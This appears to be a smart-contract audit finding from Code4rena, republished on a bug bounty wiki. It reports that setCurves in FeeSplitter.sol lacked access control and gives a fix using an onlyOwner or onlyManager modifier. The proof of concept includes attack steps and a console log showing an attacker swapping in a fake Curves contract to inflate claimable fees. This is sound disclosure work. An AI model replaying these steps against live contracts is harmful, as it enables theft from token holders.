Unauthorized Access to setCurves Function
The setCurves function in FeeSplitter.sol had no access control, so any user could point the contract at a fake Curves contract. An attacker could then set arbitrary token balances and supplies to inflate their claimable fees and take funds owed to legitimate token holders.
parlayan_yildizlar_takimi Follow with Avci, 0x11singh99 and 48 others
Originally disclosed on Code4rena
Submitted by parlayan_yildizlar_takimi, also found by Avci, 0x11singh99, visualbits, bigtone, djxploit, 0xMango, Arion, Nachoxt17, m4ttm, Ephraim, GhK3Ndf, spark, karanctf, LeoGold, peritoflores, Matue, dutra, dyoff, vnavascues, Josephdara_0xTiwa, SanketKogekar, Kose, Faith, McToady, santipu_, imare, jangle, Aymen0909, ktg, ivanov, bengyles (1, 2), Nikki, 0xAadi, kuprum, Zach_166, c0pp3rscr3w3r, 0xhashiman, burhan_khaja, anshujalan, The-Seraphs, mitev, Soul22, ArsenLupin, rouhsamad, DimaKush, tonisives, kodak_rome, adamn000, TermoHash, nazirite, 0xStalin, baice, Ryonen, cu5t0mpeo, whoismatthewmc1, FastChecker, bbl4de, Mike_Bello90, erebus, ether_sky, Draiakoo, opposingmonkey, btk, azanux, 0xSmartContract, XDZIBECX, Varun_05, ahmedaghadi, novodelta, Mj0ln1r, Berring, VigilantE, MrPotatoMagic, 0xc0ffEE, LouisTsai, nonseodion, forkforkdog, codegpt, Kong, DanielArmstrong, kodyvim, 0xprinc, Cosine, salutemada, th13vn, Inspex, popelev, grearlake, zhaojie, _eperezok, jacopod, 0xNaN, PoeAudits, Oxsadeeq, khramov, 0xblackskull, bareli, KHOROAMU, para8956, KingNFT, 0xPhantom, 13u9, sl1, AmitN, wangxx2026, pipidu83, XORs33r, mahdirostami, Prathik3, merlinboii, PENGUN, jasonxiale, pep7siup, lukejohn, spacelord47, danb, dd0x7e8, Lirios, 0xLogos, alexfilippov314, DMoore, iamandreiski, PetarTolev, zhaojohnson, iberry, eeshenggoh, zxriptor, Kaysoft, SovaSlava, oreztker, nmirchev8, UbiquitousComputing, dimulski, BowTiedOriole, jesjupyter, SpicyMeatball, zaevlad, Lef, Bobface, darksnow, KupiaSec, hals, Stormreckson, 0x111, klau5, ke1caM, peanuts, n1punp, cats, EV_om, bronze_pickaxe, cartlex_, rudolph, L0s1, deepplus, Inference, 0xMAKEOUTHILL, lil_eth, polarzero, Timenov, IceBear, nuthan2x, ubl4nk, skyge, AlexCzm, andywer, mrudenko, alexbabits, pipoca, Timeless, y4y, kutugu, Krace, ravikiranweb3, haxatron, and Soliditors
The FeeSplitter.sol contract, which is responsible for fee distribution and claiming, contains a significant security vulnerability related to the setCurves function. This function allows updating the reference to the Curves contract. However, as it currently stands, any user, including a malicious actor, can call setCurves. This vulnerability can be exploited to redirect the contract’s reference to a fake or malicious Curves contract (FakeCurves.sol), enabling manipulation of critical calculations used in fee distribution.
The exploit allows an attacker to set arbitrary values for curvesTokenBalance and curvesTokenSupply in the fake Curves contract. By manipulating these values, the attacker can falsely inflate their claimable fees, leading to unauthorized profit at the expense of legitimate token holders.
Proof of Concept
Steps:
- Deploy the
FeeSplitterandFakeCurvescontracts. - As an attacker, call
setCurvesonFeeSplitterto update thecurvesreference to the deployedFakeCurvescontract. - Manipulate
curvesTokenBalanceandcurvesTokenSupplyinFakeCurvesto create false balances and supplies. - Call
getClaimableFeesinFeeSplitterto calculate inflated claimable fees based on the manipulated values. - Observe that the attacker is able to claim fees that they are not entitled to.
Code:
>>> feeRedistributor.getClaimableFees(randomToken, attacker)
0
>>> feeRedistributor.setCurves(fakeCurves,{'from': attacker})
Transaction sent: 0x6480994a739ab1541d4eb596fd73a49d55b59b6c7080a7cbb10d0b72f619b799
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 9
FeeSplitter.setCurves confirmed Block: 17 Gas used: 27607 (0.23%)
<Transaction '0x6480994a739ab1541d4eb596fd73a49d55b59b6c7080a7cbb10d0b72f619b799'>
>>> fakeCurves.setCurvesTokenSupply(randomToken, 250, {'from': attacker})
Transaction sent: 0xd9c0938f9876348657bf5ef8e7e84706b0ddf287da69169716ca6af22a3c059d
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 10
FakeCurves.setCurvesTokenSupply confirmed Block: 18 Gas used: 22786 (0.19%)
<Transaction '0xd9c0938f9876348657bf5ef8e7e84706b0ddf287da69169716ca6af22a3c059d'>
>>> fakeCurves.setCurvesTokenBalance(randomToken, attacker, 249, {'from': attacker})
Transaction sent: 0x742b4aac4d03210fc4869a75dd625fdbf52838655f57ddf8e028dfbaa6818932
Gas price: 0.0 gwei Gas limit: 12000000 Nonce: 11
FakeCurves.setCurvesTokenBalance confirmed Block: 19 Gas used: 23361 (0.19%)
<Transaction '0x742b4aac4d03210fc4869a75dd625fdbf52838655f57ddf8e028dfbaa6818932'>
>>> feeRedistributor.getClaimableFees(randomToken, attacker)
996000000000000000
Recommended Mitigation Steps
To mitigate this vulnerability, the setCurves function in FeeSplitter.sol should be restricted to be callable only by the owner or a trusted manager. This can be achieved by using the onlyOwner or onlyManager modifier (from the inherited Security.sol contract) in the setCurves function.
The modified setCurves function should look like this:
function setCurves(Curves curves_) public onlyOwner {
curves = curves_;
}
or, if managers are also trusted to perform this action,
function setCurves(Curves curves_) public onlyManager {
curves = curves_;
}
andresaiello (Curves) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could claim fees they are not entitled to, taking profit at the expense of legitimate token holders.
What the attacker needed
Ability to deploy a fake contract; no special role needed
The fix
The setCurves function should be restricted with an onlyOwner or onlyManager modifier so only a trusted party can change the Curves reference.
How it was found
- Deploy the FeeSplitter and FakeCurves contracts.
- As an attacker, call setCurves on FeeSplitter to update the curves reference to the deployed FakeCurves contract.
- Manipulate curvesTokenBalance and curvesTokenSupply in FakeCurves to create false balances and supplies.
- Call getClaimableFees in FeeSplitter to calculate inflated claimable fees based on the manipulated values.
- Observe that the attacker is able to claim fees that they are not entitled to.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract is a program on a blockchain that anyone can call. This fee-splitting contract trusted a setting that told it which other contract to ask about token balances, but it let anyone change that setting. So an attacker could swap in their own fake contract that reports made-up balances, and the fee contract would pay out money the attacker never earned.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.